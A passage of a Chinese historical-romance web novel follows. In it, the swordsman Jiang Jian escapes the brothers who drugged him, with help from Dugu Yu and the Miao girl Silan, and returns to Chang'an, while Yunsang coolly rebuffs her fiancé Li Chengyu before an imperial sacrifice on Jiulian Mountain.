江见很难不恼怒,来了长安这样久,唯一一次能从正门进娘子的屋子,竟是一次陷阱,他只觉满心愤恨,实在难过。 “瞧你,我不过打个比方,气成那样,真小气。” 又喂了几口饼子,就在陈有粮以为江见不会理自己刚才的问题时,最后一口粥喂下去,就听到少年幽幽的话语声。 “她是我娘子,我是她夫君。” 声音虽轻,但语气倔强又笃定,要不是陈有粮知道小姐即将嫁与英王世子,都差点信了他。 “说的什么屁话。” 也不管江见的愤怒,端着空碗扭头就走了。 江见一口气差点没提上来不说,还被气的接连打起了嗝,连骂人都骂不利索。 陈有粮在外面哈哈大笑,差点没把江见气得背过去。 那句话娘子怎么说来着,虎落平阳被犬欺! 然任他再生气,如今形同废人的他都不能将人如何,就像案板上的鱼肉。 弟弟陈有衣比那个嘴巴闲不住的哥哥陈有粮要简单粗暴的多,差点将勺填他嗓子眼里,也不如陈有粮心细,知道粥热给他放一放在喂,前几次差点没烫死他。 还有饼子,江见吃得都没他填得快,一顿饭下来腮帮子都酸了。 重点是灌药时候,头一次见自己反抗,直接将他下巴卸了,从那以后江见也不犟了,忍辱负重等待时机。 然他一直未曾等到那个时机,只能在日复一日的赶路中心态越来越焦灼。 在野外没人注意到他,进了城镇两兄弟也谎称自己是他们得了重病的弟弟,要带着他四处寻医,夜里更是一屋守着,他插翅难逃。 眼看着八月尽,九月份到来,江见急得嘴角长了个燎泡,一颗心像是落入了无底洞。 若再不能挣脱,任由着他们这样日日灌他软筋散,把他往雍州送,那事情也许真就像娘子那夜说得那般。 他如同废人一般躺在马车里,看着寂寥的山野秋景,而远在千里外的长安,娘子穿着一身火红嫁衣,被送往英王府,与李承钰那厮做了真夫妻。 各种层面上的。 然后一夜之间变了心意,移情别恋喜欢上了李承钰,彻底将他抛之脑后。 更可怕的是,等他快马加鞭赶回来,娘子可能已经有了那厮的小娃娃,就要去闯生产的鬼门关。 哪一桩他都不想看见,都让他恨不得将他斩于剑下。 满腔怒火汇聚于心田,就像是火山口被强行封住,极度的危险。 江见夜不能寐。 第73章 第 73 章 脱身 就在江见被迫离开长安的第十五天, 甚至都打算开口哀求双胞胎兄弟的他猝不及防地等到了一个良机。 那便是独孤羽。 又一次进城,风尘仆仆的三人如往常一般选了个最近的客栈,陈家兄弟半架半扶地把江见弄进客栈的门。 迎面对上一双年轻男女, 看起来正是来退房的。 女子笑眯眯地跟在后面, 不断同前面的男子说着些什么, 虽然男子沉默不怎么爱搭理,但从通红的耳尖可以窥探出他的内心并不像表面那样平静。 “你走慢一点, 咱们不着急。” 银铃声阵阵,扰得独孤羽心神不宁, 偏生他理亏,又不能故意无视对方。 “是你走太慢了。” 独孤羽叹气, 嘴上这样说,步伐还是慢了下来。 察觉到这一点,身后少女神情满意。 那是个模样娇俏装束却奇特的姑娘, 一身靛色衣裙,周身银光闪闪, 行动间尽是清脆的铃铛声。 若是云桑在此, 定然能认出这正是赠予她铃铛镯的苗疆姑娘,司兰。 虽然云桑不在, 但江见在, 他先是听见了银铃声,抬起那张麻木的脸看了过去, 在看到一身黑衣劲装的独孤羽,眼眸当即爆发出了强烈的光。 两拨人擦肩而过,只是一瞬间的对视,却掀起了惊涛骇浪。 跟上来的司兰显然也认出了江见,挑了挑眉, 甚至拦住了想要回头上前的独孤羽。 看着江见被带上了楼,独孤羽低声道:“拦我干嘛?” 认出江见的那一瞬间,由于太过 震惊,他刚开始都有些不敢相信,这个犹如废人一般被架着的少年是江见。 他是何等难缠的一个人,怎会折在区区两个普通武者手中,还是这样一副任人宰割的模样? 不可思议之下,连被司兰拉住了手都没注意到。 “情况都没弄清楚,你就这样贸贸然地冲上去跟人家打一架?” “再者,你认识他?” 对于司兰来说,她虽记得这少年,但也只是一面之缘,根本不知道叫什么,但看独孤羽的反应是相熟的。 独孤羽恢复了些理智,看着江见消失的方向点了点头道:“认识,那是我朋友。” 可以每年切磋一次的朋友。 闻言,司兰脸色了然,继续道:“你待如何,要救他?” 独孤羽的想法不难判断,看那张生了些情绪的脸便知晓了。 独孤羽嗯了一声,看向了面前自己无意间惹上的苗疆姑娘,满面诚恳道:“我会很快解决的,最多一日,不耽误你的事,我没几个朋友,若不救他我心难安。” “可否等等?” 独孤羽平日冷冽寡言,但却生了一张冰块脸也挡不住的好脸。 丹凤眼,剑眉入鬓,高鼻薄唇,也许是太阳晒得少,皮肤过于苍白,在一身玄衣的映衬下十分清俊醒目,虽冷淡,但勾人。 司兰很心动,怎么看怎么满意,所以对于这个不算过分的小要求也就应下了。 “行吧。” 虽然要救的那小子不识好歹说话也不好听,但都惨成那个德行了,她也没什么想计较的了,就当她是可怜他吧。 更重要的是,她现在有了更喜欢的。 …… 客房中,江见被架进去躺在床上,面色有些阴晴不定。 他确定刚才独孤羽看见他了,也认出他了,可为什么独孤羽不来帮自己? 怀着忐忑的心情,江见急躁地过了一夜,清晨照样是顶着一双黑眼圈起来的。 照例是在客栈歇息一夜,第二日再度赶路,比投胎都急。 行至郊外,江见还是没有等到独孤羽,心里正一肚子气。 独孤羽若是此番见死不救,他以后再别想自己同他比试了,他发誓。 陈家兄弟又各自忙碌了起来,一个生火做饭,一个来给他灌药。 今日轮到话多的陈有粮,江见有些耐不住脾气,打着商量道:“我的钱都给你们,你们放了我成吗?” 刚兑好药粉的陈有粮听这话笑了,目光扫过了角落里那个鼓鼓囊囊的布袋子,扬唇笑道:“那可是小姐给你的散伙费,咱们可不好碰,你就别费心思了,我们兄弟的命都是家主救下的,绝不会背叛,乖乖回去吧,嗷~” 想来是知道江见心里不大好受,陈有粮安慰似的拍了拍他的肩膀,但收效甚微。 “来喝药。” 隐忍许久的火气又蹿了上来,江见左躲右躲不愿意喝下那碗让自己形同废人的药,但还是不敌对方,又是咽了大半碗。 又是咳了好半天,一张脸也咳得通红,心中的惶恐越来越浓烈。 陈有粮看着心如死活灰靠在车壁上的少年,也不掩饰对他的同情,叹息着下去了。 他们也不想棒打鸳鸯的,奈何这是另一只鸳鸯自己的决定,他们只能遵从罢了。 陈有粮喂完药,到了弟弟跟前,看着锅里开始咕噜咕噜翻滚的粥,还没嗅几口粥香,忽然感觉到有什么叮了自己一下,他挠了一下脖子,见弟弟也拍了一下脖颈,诧异嘀咕道:“都九月了还会有蚊子吗?怪了……” 话音落下,陈有粮只觉头脑中一阵眩晕,身体猛地一晃,一头栽倒在地。 最后一眼,他看见弟弟也倒在了地上,露出了一对年轻人的身影。 一个靛色衣裙的少女,一个黑衣剑客,好像有点眼熟。 锅里的粥还在咕噜咕噜翻滚,旁边的陈家兄弟早已没了意识。 若隐若现的铃铛声让江见意识到不对劲,他猛地抬头,从敞开的车门看见了老熟人。 正是昨日在客栈里遇到的独孤羽和那个苗疆妖女。 激动得脸都红了,兴奋之下,江见一个不小心又滚到了地上,弱得不能再弱。 独孤羽沉默在了原地,虽没有咧嘴笑话他,但神情一言难尽。 一同过来将他这副惨兮兮模样看了去得司兰就没给他什么体面了,当即扶着独孤羽的胳膊咯咯笑了起来,声音清脆,但对江见来说简直是奇耻大辱。 “笑什么笑!” 身体的虚软让他这三个字都绵软无力,丝毫没有攻击力,只引得司兰继续笑。 独孤羽失笑,带着不可置信的神情朝着马车走了过去,一言不发地将人带出了马车。 “这是怎么回事,你是遇上什么人了,竟被弄成这副模样?” 虽说江见不是什么天神降世,但行走江湖多年独孤羽就没见过第二个他这样出色的剑客,怎就落了个任人宰割的模样? 记得他离开长安时候江见还和他那娘子甜甜蜜蜜,一转眼成阶下囚了,要不是亲眼瞧见他都不敢信。 缘由太复杂难堪,江见不想多说,只攥着独孤羽的胳膊催促道:“被暗算了,以后再同你说,你快帮我找个大夫,我中了软筋散,你帮我这个忙,日后你想怎么比试都行!” 终于等到了援手,江见狠狠抓住了这个救命稻草,十分大方。 独孤羽一听,了然道:“怪不得,原来是中了药,不过不必麻烦,司兰有很多神奇的小虫子,应当也可以帮到你。” 司兰目光在江见那张极有姿色的脸上飘了一圈,想起曾经这厮的恶劣态度,冷哼道:“我自是有法子,但我为何要帮你,你求我啊!” “我求你了。” 司兰还想放两句狠话,这句猝不及防的示弱话语迎面就怼了过来,弄得她一愣,一时被噎住了。 “我说我求你了,快帮我解了软筋散。” 今日是九月初三,还有半个月便是那该死的婚期,他如果不快些赶路,那后果不堪设想。 如今的江见一颗心已经飞往了长安,受点委屈算什么,不过是面子上的事。 司兰都有些不认识对方了,她现在都还记得当初这小子是如何讨人嫌的,嘴里没一句好听的。 还在发愣,察觉到袖子被拽了一下,银铃作响,司兰对上独孤羽清冽俊俏的脸。 “能帮帮他吗?” 很诚恳的语气,再配上独孤羽那张俊俏的脸蛋,司兰顿时点头了。 两人的相遇与结识让人啼笑皆非,一月前司兰路过一处荒山,想着几日都未浴身,便想着借着溪水擦擦身子。 本以为这荒郊野岭的没人看,谁知道刚脱了衣裳独孤羽便从旁边的小道走了出来,慢悠悠地,如散步一般。 两人对视,各自都懵在了原地,紧接着便爆发了一场打斗。 当然,因为理亏,几乎是她压着独孤羽打的,对方因为不小心看了她的身子心怀愧疚不好意思还手。 尽管独孤羽多次解释自己不是故意偷看只是路过,但事情已经发生了,独孤羽只能赔偿苦主,答应护送她去岭南寻找什么毒虫练蛊的要求。 到现在已有一月,关系日益亲密,俨然是关系融洽的同伴。 一只黑蓝色的小虫从司兰的袋子里飞了出来,直冲着江见飞过去。 一看见这古怪的虫子,江见下意识想躲开,但一想到这是能让他恢复的解药,他强忍着本能任由虫子飞了过来。 也不知道是不是主人的授意,虫子在他脸上咬了一口,还挺疼。 但效果很好,咬过没几息,江见就感觉到浑身的虚软感褪去,四肢恢复了力气,内力也渐渐得以运转了。 欣喜之色溢于言表,江见露出半个月来第一个笑脸。 “多谢,不过我现在有要紧的急事,等办完了我一定请你们吃饭。” 能让自己在这人生关键节点脱困,什么恩怨情仇都被他通通抛诸脑后,只剩下一脸感激。 司兰只哼了 一声,没说什么,不过心里头是略微舒服一点点了。 独孤羽摆了摆手道:“一件小事罢了,你别忘记同我比试就行。” 江见一边活动筋骨一边应他:“放心放心~” 走前,江见不忘将车子里的小布袋背上,那都是以后他过日子的钱。 虽然他轻功赶路很快,但内力不足以支撑那么远的路程,江见瞅准了那匹马,就要将挽具卸下来,路过晕倒的陈家兄弟跟前,眉心一蹙,回头问道:“他们中的不是什么毒蛊吧?” 虽然他恼火陈家兄弟日日灌他软筋散,但他们也只是听命行事,且路上对他也不错,冤有头债有主,江见自然要去寻债主了。 想到那不声不响给他下了药的少女,他呼吸急促,眼底浮着浓重的怨愤。 “死不了,只是睡上两三日罢了。” 余光瞥见独孤羽尚还拉着她衣袖的手,司兰心情不错,慢悠悠解释道。 江见这下放心了,将挽具一卸,直接策马而去,只留下一阵烟尘。 两人看着一刻也不愿停留的江见,心里都在好奇是什么十万火急的事。 “你认识江见?” 两人沉默了一会,独孤羽扭头问道。 他性格冷归冷,但不是傻子,看出了司兰开始对江见的不喜,猜测是不是两人以前结过梁子。 猜对了一半,不过不是他想的那种。 “算认识一半,当初瞧他生得俊俏想抢回寨子当夫婿,他不肯,跟我打了一架,还骂我是妖女。” 再忆起那桩事,司兰自己都觉得滑稽,没忍住笑了两声。 “抢成了吗?” 独孤羽肃着脸问道,人看着比平时更冷。 司兰看傻子一般瞪了他一眼,嗤笑道:“自然是没成,要不然还有你站在这?” 司兰不掩饰自己的心思,她就是喜欢长得好看的人,当初提的那个条件也正是冲着独孤羽这个人去的。 管他如何想,她只由着自己的心意。 大概是听懂了几分意思,独孤羽神色有些不自然,道:“那也不能随便抢人,江见他有娘子的,拆人姻缘不好。” 司兰轻笑,蹦蹦跳跳地走在前面,清脆铃铛声敲打在独孤羽心头。 只见少女回首嫣然一笑,欢快问道:“那你呢,有没有娘子呢?” 独孤羽心口躁动,下意识攥在他冰凉的剑柄上,避开少女烂漫的眸光。 “没有。” 恍惚间,独孤羽看见少女笑得愈发灿烂了。 第74章 第 74 章 窥视 江见走后, 云桑做什么都提不起心情。 不仅吃得少了,连门也不爱出,熙宁回回喊她进宫她都婉言拒了。 实在是没心情, 怕倒是自己淡着一张脸扫了别人的兴, 倒成了罪过。 期间李承钰上门来过几次, 委婉表达过想见见她的意思,都被云桑以身体不适拒绝了。 她现在最不想见到的人就是李承钰了, 看见他就会不自觉想起被她强行送走的江见。 云桑时不时会想,若是李承钰不那么执着, 像寻常大多数男子一般嫌弃她这个移情别恋的未婚妻就好了。 那样的话,她的难题便迎刃而解了, 哪里需要走到这样的地步? 难过到极点时,她甚至会怨愤起李承钰来,情绪乱七八糟的。 半个多月下来, 不仅人瘦了一圈,人也苍白了许多, 依着照云的话来说就是太阳晒少了, 她该出去活动活动。 “小姐,听说芙蓉楼近来出了许多新菜式, 叫什么锅子, 涮各种肉菜,汤料酸辣酸辣, 很是开胃,小姐不妨去尝尝,说不准十分喜欢呢!” “还有奶团糕,小姐也好久未吃了,也买些回来。” “聚灵斋老板说出了新的九连环, 据说十分难解呢。” 照云为了让她出去散散心说得十分卖力,云桑想着自己也总不能像个呆鹅一般永远缩在家里,迟早是要出去的。 “好吧,那就去芙蓉楼吧。” 希望那个酸辣酸辣的锅子真的能让她开开胃,心情好些。 犊车套好了,云桑踏出家门,那一瞬间,她感受到了一股若有若无的视线,扭头看过去,正好一个路过的年轻公子经过,身上背着书囊,看模样是个书生。 见云桑看过来,那书生立即红着脸低头走了,步伐匆匆,背影慌乱。 见只是个陌生人,云桑提起的心又放了下去,心中升起微不可察的落寞。 有一瞬间,云桑竟觉得那目光透着几分熟悉感,就好像江见看了她一眼。 可江见已经被她强行送走了,配上那软筋散,怕是不可能回来了。 意识到自己的胡思乱想,云桑自嘲地笑了声,神色恹恹地坐进了车子,听着木轮滚在青石地面的声音。 很不巧,她在芙蓉楼遇上了李承钰。 “仪君。” 云桑甚至不想看见他,因为实在太堵心了。 “世子。” 神色淡淡地行了一礼,丝毫看不出待嫁女看见未婚夫该有的欣喜。 本扬着笑过来的李承钰也意识到了这一点,笑颜淡了些。 “仪君今日怎么想起来芙蓉楼来了?” 当李承钰发现许久也未在长安见到那个江湖剑客后,他意识到了什么,去登了傅家的门,被傅公隐晦告知结果。 “他已经离开长安了。” 当听到这话的时候,李承钰最先涌出来的是压抑不住的欣喜。 碍眼的人终于不在了,假以时日,他与仪君定然能回到往昔。 他不贪心,只要像之前那样,在说话时还能得到仪君一个羞怯的笑就行,至于更多的,那且看以后了。 不过仪君怨恨他他也理解,不过时间会磨平一切,他有的是耐心。 但此刻面对仪君冷淡的眉眼,李承钰发现事情不是自己想象得那么轻松。 “听说芙蓉楼出了新菜式,小姐便想来瞧瞧。” 仪君甚至不想开口,只身边的婢女开口应答,李承钰心口沉闷,试探着开口道:“一人无趣,不若我同仪君一道用饭?” 大抵是冲动让他说出那样不沉稳的话,说完后李承钰心中就暗叫一声糟糕,觉得自己此番冒进了。 果然,仪君甚至没有看他一眼,只微垂着双目道:“世子客气了,我喜欢清净,一个人很好,世子不必在意我。” 说完,连个眼神都未曾留下,便辞了他上楼去了。 芙蓉楼客源极广,自有不少官宦子弟千金,少不得有认识二人的,都看了一场热闹。 什么不要在意她,分明是她不在意自己罢了。 看着那道窈窕倩影消失在眼前,李承钰神色变幻了一阵,径直离开了芙蓉楼。 都这样不待见自己了,他还是不留下讨嫌了。 在过些时日,也许仪君心情就会好些。 也不知今日是不是走了霉运,回去的路上发现车轴坏了,害得他在冷风中等了好半天。 打发走了如今不想看见的人,云桑清清静静地坐在雅间中,看着伙计送上来的锅子,咕嘟咕嘟翻滚着,酸辣鲜香的气味扑面而来,配着各色新鲜肉类还有绿油油的蔬菜,还真勾起了云桑瞌睡很久的馋虫。 若是江见在,一定吃得欢畅,他最喜欢新奇的吃食了。 “来,照云,此处就你我二人,坐下一起吃吧。” 主仆二人时常如此,没有外人时便随意许多,照云也不会时刻守什么规矩,两人吃得热闹。 这一顿云桑吃了不少,肚子久违的传来饱胀感,照云见了欣慰不已。 人吃饱了便想睡,云桑自然也不能抗拒这种疲倦的感觉,但她又舍不得院子里的暖阳,不想窝在屋里,便让婆子将屋子里的美人榻搬出来,放置在廊下,盖着一条毛毯晒着太阳。 日光给人的感觉是无法替代的,暖洋洋的,只要略微照照,就能将人身心中淤积的阴冷湿气蒸 发,使人从里到外都康健起来。 云桑在这样的日光下渐渐睡了过去,没了知觉。 因为午间小憩不需要那么多人侍候,照云提前将婢女婆子都遣下去歇息了,将院门拴上,只剩下自己在院子里守着。 许是暖洋洋的日头太过舒坦,照云也开始打瞌睡,实在忍不住回自己的房间眯去了。 庭院中只剩下在美人榻上酣睡的少女,细碎的金光洒在身上,为其镀了一层浅浅的光晕,远远看过来十分美丽。 云桑做了一个缱绻的梦,少年踏着细碎的日光缓步而来,停在她跟前,捏着她的脸嘀嘀咕咕着说些话。 “别以为这样就能甩掉我,我说了,娘子休想抛弃我。” 云桑一下就被惊醒了,入眼是空荡荡的秋日庭院,哪有什么来算账的人。 但脸颊上的触感很真实,就像是真的被人捏过,不知道是不是心理作用,总觉的残留着极淡的麻痒之意。 然照云醒来说,是她的脸被毯子硌着了,硌出了一道浅浅的印子。 云桑摸着脸颊上的印痕,神情恍惚难定,照云看了只觉难受。 夜里,照云殷勤地将她的换洗衣裳都收拾好了,以备明日的祭天。 陛下要在重阳这日去九莲山祭天,随行人数甚众,是文武百官还有世家子弟挤破头都想去的。 随帝祭天,那是一份响当当的荣耀,若是运气好,受到陛下的赏识,就算籍籍无名的人也有可能一飞冲天。 云桑本没心情去九莲山的,但当爹爹问起,看着爹爹担忧的眉眼,她又不忍心了。 就当是让爹爹少担心些,出去散散心吧。 顶多在九莲山停顿个两三天,也不必带许多东西,照云很快就收拾好了,甚至还不忘带上她新买的九连环还有梅子糖。 用完了晚饭,云桑在屋里活动了一会,无非是些投壶的玩意。 虽然她的技艺很烂,但是她还挺喜欢玩的,不过前提是自己偷偷地玩,不是那种在大庭广众之下丢人。 投了五十下,中了四箭,云桑没有气馁,仍旧心平气和,只觉得手有些酸。 活动了半天有些热,云桑捧着脸坐在了窗前,静静看着天上的明月。 秋日的月亮也比春夏多了几分冷寂,看着冷飕飕的,但是很好看。 而且,她一想到这轮明月同照着她与千里之外的江见,云桑便月亮温暖了几分。 “小姐别看太久了,小心邪风入体着凉了!” “知道了,我穿得厚着呢,就看一小会,不会有事的。” 云桑还没看够,软着嗓音说道,感受着秋夜的凉风吹到微烫的脸上,仿佛静止了一样。 月色洒在少女白皙粉润的面颊上,在这一片茫茫夜色中看就像一轮新的月亮。 就好比此刻藏匿在樟树枝叶后的江见,他只觉那张脸如满月一般,是茫茫夜色中最耀眼的存在。 自他得了自由后便一路颠簸往长安赶,为了节省时间,他吃饭都是一次买一囊的饼子,吃饭也在马上吃,囫囵用水来就着吃,只马累得不行时歇口气,可以说是一路狂奔着在赶路。 生怕误了时间,回去时看见的是已经嫁为人妇的娘子。 在这样不眠不休地疯狂赶路下,反而大大超出了预期时间,五日便抵达了长安。 九月初八这日,他看着巍峨的长安城门,恍惚了好一阵。 为了掩人耳目,他换了一身不起眼的打扮,连霜叶都包了起来,走在熙熙攘攘的人群中,只要不露脸,几乎不会引起任何人的注意。 他此刻满脑子想的都是去找人,留在她身边或者让对方留在自己身边。 但当他看到傅家大门时,江见犹豫了,那些阻碍在两人之间的东西像是石头一样纷纷从天上掉下来,接二连三地兜头砸下来,砸得他头破血流。 那夜少女呜咽的话语一句接一句,为何要抛弃他都一一解释了清楚。 她退不掉婚事,但也做不出随他私奔的事,如果他神不知鬼不觉地将她从家里带走,那岳丈就会遭殃。 这是娘子害怕的事,也是她宁愿将他强行送走也不愿去做的事。 如果他强行带走娘子,怕是眼泪要一路撒一路。 岳丈若是出事,娘子怕是永远不会原谅自己了。 毕竟在娘子心中,自己的份量本就无法同岳丈相比,他不敢去赌。 愁绪千丝万缕如蛛网挡在他跟前,他始终没有迈进一步,只能隐匿在暗处窥视着。 白日如此,夜晚也如此。 江见很幸运,明静院的东墙边上有一棵巨大的樟树,秋冬不落叶,方便他藏在树上去看他想看的人。 就比如此刻,他人卡在树干间,遥望着在窗边捧着面颊的少女,目光迷离恍惚。 他好想上前去,哪怕只是说上一句话,但无头苍蝇的他只能消极地待在树上。 明日是那什么狗皇帝的祭天大典,据说娘子也要跟去,江见思索着明日的鬼祟行程的同时,也在思考如何才能在不影响岳丈的前提下能同娘子在一起。 只是低头叹了一声气,再抬头时发现窗户被阖上了,凝望的那轮明月也跟着消失了。 江见气得捶了一下树干,以致于万千树叶颤抖,婆娑声一片。 见不到人,他干脆换了一根平缓的枝干躺下,就着寂静萧瑟的夜色,慢慢阖上了眼皮。 寒气袭来的深秋,虫鸣声也无了,万籁俱寂。 阖上双目的江见只觉置身在一个神奇的天地中,眼前是一片虚无,耳畔也是一片虚无,进入了一个玄异的状态。 在这一片虚无中,他绞尽脑汁地思索着,去追寻那一丝生机。 少顷,樟树叶又是一阵轻颤,于夜色中发出簌簌声响。 伴随着树叶醒来的,还有江见,此刻正扬着一双熠熠生辉的眼眸,像一棵焕发生机的枯草。 “有法子了!” 尽管还是不够完美,但这是他唯一能与娘子厮守的法子了。 因有了一条生路,江见兴奋地心气浮躁,久久不能平静。 不行,明日还有大事,他得养足精神才是。 念此,江见强行让自己安睡,弥补自己亏损多日的气血。 第75章 第 75 章 祭天 深秋时节, 霜寒露重,晨雾沁凉,寒意侵人。 昨夜睡得早, 云桑虽不困, 但寒意让她生出惫懒之意, 恨不得在暖烘烘的床上再躺上一个时辰。 但定好了辰正时分便要抵达九莲山,云桑自然不能耽误时间, 被子一掀从床上爬起来了。 屋子里倒还好些,庭院中冷风徐徐, 吹得云桑多加了一件衣裳。 家中都这般,那九莲山中肯定更冷了。 为了应对今日的山路, 早饭云桑都多吃了几口,照云看得欣慰。 自打章懿太子故去后,陛下便比以往信些鬼神之说了, 祭天也殷勤了些。 也许是以为章懿太子会在天上看见,每次都会写一篇思子赋, 一道上达天听。 可云桑觉得, 人死了就是死了,无论怎样章懿太子都不会知道陛下的悔恨了, 陛下这样也只是能让自己心里舒坦点罢了。 抵达九莲山山脚下, 云桑踏出犊车,便察觉到了这里比城中更沁凉的空气。 这下好了, 谁要是困了,就来这里猛吸几口凉气,绝对提神醒脑。 九莲山是长安最高的一座山,但却是最适合登高望远,游春祭天的一座。 九莲山与长安城保持着一个适宜的距离, 不会让人觉得路途遥远,也不会觉得只是出了城门就碰到的寻常小山。 九莲山中有一座道观,名唤青云观,观主玄机子道长是陛下的老友,陛下空闲时时常去青云观与玄机子讨论道法。 帝王老了总是喜欢求仙问道,承宁帝也不例外。 当然,最重要的是九莲山的风景,乃是长安山川之最。 祭天的同时,还能赏景,一举两得。 春日有春 日的景,秋日有秋日的景,总是不会让长安人失望的。 几个王爷也早早到了,譬如英王府,已经先傅家一步到了,见父女二人到来,英王夫妇跟没事人一般过来了。 李承钰坠在后面,静静看着神色静谧的少女,不发一言。 既然女儿已经做出了选择,傅允便还当英王府是亲家,和煦寒暄起来。 还没等李承钰想好要如何搭话,天子的御辇到了,羽林军开道,众人退避跪拜。 “平身吧。” 承宁帝心情很好,昨夜他做了个好梦,梦里有太子一家,每个人都还在,一家子其乐融融。 当梦里,当年那个还未长大的孙子也长成了一个长身玉立的挺拔少年,一身白袍,但看不清楚脸,只知道他很爱笑。 承宁帝被唤了好几声皇祖父,梦里的他笑得很畅快。 这股情绪持续到了醒来,使得他今日心情一直不错,面上始终带着笑意。 陛下今年六十有二,尽管年轻时身强力壮,可如今的年岁早已不复当年,自不能一步一步走上去,御辇随时伴着。 不过陛下这人不服老,每回总是喜欢亲自走一走,累极了才重新坐回御辇。 若真让陛下一步步走上去,怕是得出点什么事,更别说祭天了。 陛下愿意走一段,那众臣谁也不好当着陛下的面坐车,除了一些实在需要车辇的人,比如已经八十岁的太傅。 好在除了个别大臣和皇亲,其余人不需要伴在陛下左右,只需在天黑前抵达山腰就好,那里已经有为各家搭好的行帐,可以在那过夜歇脚。 陛下一向不喜欢火急火燎的,每年祭天都是现在山腰歇上一夜,翌日再登上去举行祭天大典,结束后再于行帐歇一夜,第三日归家。 这样不急不徐的,累不到人,还能适当游玩一番。 爹爹也被陛下召去御前伴驾了,这让云桑很安心,至少陛下没有因为中秋她惹出来的祸事继续迁怒爹爹。 前前后后都是长安官宦人家,又有家中的侍卫和一行婆子婢女伴着,云桑倒也没什么不安全的。 不过走着走着,就看见前面立着一个清俊颀长的身影,细看正是李承钰。 今日为了登山便捷,许多人都穿了更轻便些的衣裳来,李承钰也是,换去了平日的宽袖大袍,换了一身翻领窄袖缺胯袍,宝蓝色的锦袍,衬得人矜贵非常。 他就站在前面几步远的距离看着自己,那模样一瞧就是专门等着的。 云桑不太想跟他一道,更不想同他说些干巴巴的话题,奈何九莲山不是她家的,若是李承钰就要走在她身边,凭着未婚夫的身份,云桑也不能让侍卫驱逐人家。 “世子有事?” 走到李承钰跟前行了一礼,云桑客套道。 仪君比以前对她更生疏客气了。 李承钰看着走上前板板正正行礼的未婚妻,抿唇道:“仪君,你不必与我如此生分,我们就快要成婚了。” 不说这个还好,一提起这个,云桑面上的平和也很难维持了,脸色黯淡了下来。 周围的热闹似乎不属于云桑,也不属于李承钰,两人间的气氛沉闷了下来。 长靴踩在落了枯枝残叶的山路上,嘎吱嘎吱的声响时刻侵扰着两人间的沉闷。 他不走,云桑也不能赶人,只默默前行着,希望李承钰能自觉离开。 但他依旧执着地走在自己身侧,甚至开始与他聊起了小时候的过往。 “仪君可还记得你我幼时说的第一句话?” 这么久远细碎的事,云桑压根想不起来,只能摇头了。 李承钰并不意外,仪君从不会特殊对待谁,那时的她更不会将自己放在心上。 这正好给了他机会去提他们的过往,只有他与仪君的过往,没有第三个人。 “我记得,那时你五岁,刚进宫伴读一月,除了同熙宁姑姑还有几个官家千金说上几句话,其他时候都很安静,只会听夫子讲学,偶尔还会打瞌睡。” 把人学堂上打瞌睡的事拿出来说,虽然已经过去许多年了,但云桑还是不爱听的。 “世子想说什么?” 说事就说事,竟扯到了自己听学打瞌睡的破事上,那时候学堂有个严夫子,讲学最是枯燥无聊,就算是陛下来了也得打完瞌睡再走,她偶尔打个瞌睡又如何? 终于在仪君面上看到淡漠以外的其他表情了,虽然只是恼怒,李承钰也接受。 他继续追忆往事,神情带着云桑不能共情的怀念。 “有次我起了热,但是下堂是林学士的课,他的课是重中之重,我便没有声张,旁人都没有发现,但是仪君发现了。” “当时,你第一次同我说话,你问我“你还好吗?”。” 李承钰不会忘记,那日午后,暖阳照在小女娃白皙粉嫩的面颊上,她一双黑葡萄似的眼睛水汪汪地看着自己,眸中盛着最纯粹的关切。 他当时是怎么回来着,他回了句挺好的,继续端正着姿态看书,准备迎接林学士的讲学。 “你骗人,你起热了,脸都红了。” “告诉夫子,回去治病吧,爹爹说会烧坏脑子的。” 小女娃坚持道,还指了指他的脸,很是严肃认真。 李承钰当时仍是没打算回去,只说了句不用,让她别管。 但小女娃真的很担心,见他固执不愿去看大夫,竟悄悄告诉了熙宁,熙宁又上报了夫子。 夫子哪里敢耽误他的身子,立即将他带到皇祖父那里请医官来治病了。 幸运的是,那日虽然被带走治病,没能听下一堂课,但那日林学士的夫人突然生产,林学士匆匆告了假,也没有上那堂课。 医官来时,他已经有些迷迷糊糊了,脚下也开始打飘,当时还被皇祖父说了几句,类似于读书也不该不顾惜自己身体之类的话,似乎还说了他一句书呆子。 不过那些都不重要了,重要的是那日的仪君。 她能发现自己的异常,是不是也代表着她也会偷偷在学堂上瞧他? 当时的他很高兴,觉得那碗苦涩的药汁都不苦了。 偏过头去看,当年的小女娃被眼前的少女取代,不再是圆乎乎的包子脸了,但依旧漂亮可爱。 “似乎记得。” 仪君努力深想了一番,总算是将这事从记忆中挖出来了。 自己幼时似乎是干了那么一件事,但若不是李承钰说起那人是他,云桑都想不起自己是帮了谁。 因为自己幼时多病,常有头疼脑热的时候,她深受其害,最能体会高热的痛苦,因而见到有人起热,她就好像感同身受一般。 不过她记得没有李承钰那般具体,只记了个大概。 余光中,李承钰笑意盈盈,看上去心情很好,与自己截然不同。 此刻是个交流的好时机,云桑没有错过,她揪下了路旁不知是什么树的树叶子,一本正经道:“世子对我这样执着,是否是因为我爹爹是尚书长官?” 就算不是皇子龙孙,只是普通的世家儿郎,只要求上进,都想求娶一位高门贵女,直白说更像是冲着岳丈去的。 而在夺嫡中,岳丈的份量就显得更重要了。 云桑自认从小到大,尤其是定婚前与李承钰没什么大的交际,怎就引他非娶不可了呢? 听这话,李承钰愣了一瞬,满脸认真道:“仪君竟这样想吗?” 云桑没说话,默认了他的猜测。 耳畔传来轻笑,李承钰凝着她的侧脸,缓声解释道:“我从不是因为傅公的权柄而向你提亲的,只是喜欢而已。” “只是仪君从不曾在意罢了。” 迎着少女愣怔的眉眼,李承钰继续诉说自己的心事。 “我不似十弟那般活泼好动,常与姑娘搭话,我也不知该与你说些什么,你也甚少理我。” “束发后,有许多人家去你家提亲,我那时时分害怕,担心傅公看中了哪一个,把你许给别人,那段时间我总担惊受怕的,好在傅公眼光挑剔,一个也没瞧上,父王 和母妃问起我的婚事,我知道若是再不果决些就麻烦了,便说仪君你为良配。” “我十分感谢自己素来的勤勉刻苦,所以在傅公眼中有个好模样,独独挑中了我,得到允准的那夜,我高兴得半宿没睡着,纳征那夜我更是一夜未眠,当时皇祖父给了我户部员外郎的差事,我那日困得在案上睡着了,不过我依旧很开心。” 李承钰清亮的眼眸看向云桑,雀跃地问:“仪君知道我当时有多开心吗?” 云桑直直迎上了他的双目,眸光复杂,艰难开口道:“你知道的,我对你并无情意,我喜欢……” “不必多说。” 李承钰眼疾手快地截断了自己不想听的话,垂眸沉默了片刻,抬头又是笑意浅浅。 “反正你我也快成婚了,多说些也无妨,我从不认为一时的喜欢可以代表一世,就如同我的母妃。” 